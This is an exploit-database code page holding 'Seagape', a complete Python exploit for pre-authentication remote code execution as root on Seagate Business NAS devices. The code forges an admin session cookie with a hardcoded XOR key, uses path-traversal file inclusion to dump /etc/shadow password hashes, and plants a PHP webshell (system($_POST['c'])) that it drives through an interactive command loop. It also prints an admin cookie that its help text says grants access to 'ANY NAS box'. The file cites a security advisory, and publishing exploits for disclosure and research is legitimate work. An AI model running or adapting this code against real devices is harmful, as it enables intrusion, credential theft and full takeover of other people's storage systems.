PageRenderTime 48ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/hardware/webapps/36202.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 330 lines | 291 code | 6 blank | 33 comment | 3 complexity | 4e3ca45059d4ef5df2ede80d61c2d5a8 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/env python
  2. #
  3. # Seagape
  4. # =======
  5. # Seagate Business NAS pre-authentication remote code execution
  6. # exploit as root user.
  7. #
  8. # by OJ Reeves (@TheColonial) - for full details please see
  9. # https://beyondbinary.io/advisory/seagate-nas-rce/
  10. #
  11. # Usage
  12. # =====
  13. # seagape.py <ip> <port> [-c [ua]]
  14. #
  15. # - ip : ip or host name of the target NAS
  16. # - port : port of the admin web ui
  17. # - -c : (optional) create a cookie which will give admin access.
  18. # Not specifying this flag results in webshell installation.
  19. # - ua : (optional) the user agent used by the browser for the
  20. # admin session (UA must match the target browser).
  21. # Default value is listed below
  22. #
  23. # Example
  24. # =======
  25. # Install and interact with the web shell:
  26. # seagape.py 192.168.0.1 80
  27. #
  28. # Create admin cookie
  29. # seagape.py 192.168.0.1 80 -c
  30. import base64
  31. import hashlib
  32. import itertools
  33. import os
  34. import re
  35. import socket
  36. import sys
  37. import urllib
  38. import urllib2
  39. import uuid
  40. import xml.sax.saxutils
  41. if len(sys.argv) < 3:
  42. print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0])
  43. sys.exit(1)
  44. # Every Seagate nas has the same XOR key. Great.
  45. XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07'
  46. # This is the User agent we'll use for most of the requests
  47. DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'
  48. # This is the description we're going to be reading from
  49. LFI_FILE = '/etc/devicedesc'
  50. # the base globals that will hold our state
  51. host = sys.argv[1]
  52. port = int(sys.argv[2])
  53. cis = ''
  54. hostname = ''
  55. webshell = str(uuid.uuid1()) + ".php"
  56. def chunks(s, n):
  57. for i in xrange(0, len(s), n):
  58. yield s[i:i + n]
  59. def forward_interleave(a, b):
  60. return ''.join(itertools.chain(*zip(itertools.cycle(a), b)))
  61. def xor(s, k):
  62. return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k)))
  63. def sha1(s):
  64. return hashlib.sha1(s).hexdigest()
  65. def decode(s):
  66. f = xor(s, XOR_KEY)
  67. return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2))
  68. def encode(s):
  69. s = forward_interleave(sha1(s), s)
  70. s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2))
  71. return xor(s, XOR_KEY)
  72. def make_request(uri = "/", ci_session = None, headers = None, post_data = None):
  73. method = 'GET'
  74. if not headers:
  75. headers = {}
  76. headers['Host'] = host
  77. if 'User-Agent' not in headers:
  78. headers['User-Agent'] = DEFAULT_UA
  79. if 'Accept' not in headers:
  80. headers['Accept'] = 'text/html'
  81. if post_data:
  82. method = 'POST'
  83. post_data = urllib.urlencode(post_data)
  84. headers['Content-Type'] = 'application/x-www-form-urlencoded'
  85. if ci_session:
  86. ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
  87. headers['Cookie'] = 'ci_session={0}'.format(ci_session)
  88. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  89. s.connect((host, port))
  90. http = ""
  91. http += "{0} {1} HTTP/1.1\r\n".format(method, uri)
  92. for h in headers:
  93. http += "{0}: {1}\r\n".format(h, headers[h])
  94. if post_data:
  95. http += "Content-Length: {0}\r\n".format(len(post_data))
  96. http += "\r\n"
  97. if post_data:
  98. http += post_data
  99. s.send(http)
  100. result = ""
  101. while True:
  102. data = s.recv(1024)
  103. if not data:
  104. break
  105. result += data
  106. s.close()
  107. return result
  108. def get_ci_session():
  109. resp = make_request()
  110. for l in resp.split("\r\n"):
  111. m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l)
  112. for name, value in m:
  113. if name == 'ci_session' and len(value) > 40:
  114. return decode(base64.b64decode(urllib.unquote(value)))
  115. print "Unable to establish session with {0}".format(host)
  116. sys.exit(1)
  117. def add_string(ci_session, key, value):
  118. prefix = 's:{0}:"{1}";s:'.format(len(key), key)
  119. if prefix in ci_session:
  120. ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session)
  121. else:
  122. # doesn't exist, so we need to add it to the start and the end.
  123. count = int(ci_session.split(':')[1]) + 1
  124. ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session)
  125. return ci_session
  126. def set_admin(ci_session):
  127. return add_string(ci_session, "is_admin", "yes")
  128. def set_language(ci_session, lang):
  129. return add_string(ci_session, "language", lang)
  130. def include_file(ci_session, file_path):
  131. if file_path[0] == '/':
  132. file_path = '../../../../../..' + file_path
  133. return set_language(ci_session, file_path + "\x00")
  134. def read_file(file_path, post_data = None):
  135. resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data)
  136. return resp
  137. def hashdump():
  138. shadow = read_file('/etc/shadow')
  139. for l in shadow.split("\n"):
  140. if l and ':!:' not in l and ':x:' not in l:
  141. parts = l.split(':')
  142. print "{0}:{1}".format(parts[0], parts[1])
  143. def cmd(command):
  144. headers = {
  145. 'Content-Type' : 'application/x-www-form-urlencoded',
  146. 'Accept' : '*/*',
  147. 'User-Agent' : DEFAULT_UA
  148. }
  149. post_data = urllib.urlencode({'c' : command})
  150. headers['Content-Type'] = 'application/x-www-form-urlencoded'
  151. ci_session = urllib.quote(base64.b64encode(encode(cis)))
  152. headers['Cookie'] = 'ci_session={0}'.format(ci_session)
  153. url = 'http://{0}:{1}/{2}'.format(host, port, webshell)
  154. req = urllib2.Request(url, headers = headers, data = post_data)
  155. return urllib2.urlopen(req).read()
  156. def shell():
  157. running = True
  158. while running:
  159. c = raw_input("Shell ({0}) $ ".format(post_id))
  160. if c != 'quit' and c != 'exit':
  161. cmd(c)
  162. else:
  163. running = False
  164. def show_admin_cookie(user_agent):
  165. ci_session = add_string(cis, 'is_admin', 'yes')
  166. ci_session = add_string(ci_session, 'username', 'admin')
  167. ci_session = add_string(ci_session, 'user_agent', user_agent)
  168. ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
  169. print "Session cookies are bound to the browser's user agent."
  170. print "Using user agent: " + user_agent
  171. print "ci_session=" + ci_session
  172. def show_version():
  173. print "Firmware Version: {0}".format(get_firmware_version())
  174. def show_cookie():
  175. print cis
  176. def show_help():
  177. print ""
  178. print "Seagape v1.0 -- Interactive Seagate NAS Webshell"
  179. print " - OJ Reeves (@TheColonial) - https://beyondbinary.io/"
  180. print " - https://beyondbinary.io/bbsec/001"
  181. print "==========================================================================="
  182. print "version - Print the current firmware version to screen."
  183. print "dumpcookie - Print the current cookie to screen."
  184. print "admincookie <ua> - Create an admin login cookie (ua == user agent string)."
  185. print " Add to your browser and access ANY NAS box as admin."
  186. print "help - Show this help."
  187. print "exit / quit - Run for the hills."
  188. print "<anything else> - Execute the command on the server."
  189. print ""
  190. def execute(user_input):
  191. result = True
  192. parts = user_input.split(' ')
  193. c = parts[0]
  194. if c == 'admincookie':
  195. ua = DEFAULT_UA
  196. if len(parts) > 1:
  197. ua = ' '.join(parts[1:])
  198. show_admin_cookie(ua)
  199. elif c == 'dumpcookie':
  200. show_cookie()
  201. elif c == 'version':
  202. show_version()
  203. elif c == 'help':
  204. show_help()
  205. elif c == 'quit' or c == 'exit':
  206. remove_shell()
  207. result = False
  208. else:
  209. print cmd(user_input)
  210. return result
  211. def get_firmware_version():
  212. resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043",
  213. ci_session = acis)
  214. return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2]
  215. def install_shell():
  216. resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043",
  217. ci_session = acis)
  218. existing_setup = ''
  219. for l in resp.split("\r\n"):
  220. if 'general_setup' in l:
  221. existing_setup = l
  222. break
  223. # generate the shell and its installer
  224. exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>")
  225. installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post)
  226. write_php = xml.sax.saxutils.quoteattr(installer)[1:-1]
  227. start = existing_setup.index('" description="') + 15
  228. end = existing_setup.index('"', start)
  229. updated_setup = existing_setup[0:start] + write_php + existing_setup[end:]
  230. # write the shell to the description
  231. resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
  232. ci_session = acis,
  233. headers = { },
  234. post_data = { 'general_setup' : updated_setup })
  235. # invoke the installer
  236. read_file(LFI_FILE)
  237. # remove the installer
  238. resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
  239. ci_session = acis,
  240. headers = { },
  241. post_data = { 'general_setup' : existing_setup })
  242. def remove_shell():
  243. return cmd('rm -f {0}'.format(webshell))
  244. print "Establishing session with {0} ...".format(host)
  245. cis = get_ci_session()
  246. if len(sys.argv) >= 4 and sys.argv[3] == '-c':
  247. ua = DEFAULT_UA
  248. if len(sys.argv) > 4:
  249. ua = sys.argv[4]
  250. show_admin_cookie(ua)
  251. else:
  252. print "Configuring administrative access ..."
  253. acis = add_string(cis, 'is_admin', 'yes')
  254. acis = add_string(acis, 'username', 'admin')
  255. print "Installing web shell (takes a while) ..."
  256. install_shell()
  257. print "Extracting id and hostname ..."
  258. identity = cmd('whoami').strip()
  259. hostname = cmd('cat /etc/hostname').strip()
  260. show_help()
  261. running = True
  262. while running:
  263. try:
  264. user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname))
  265. running = execute(user_input)
  266. except:
  267. print "Something went wrong. Try again."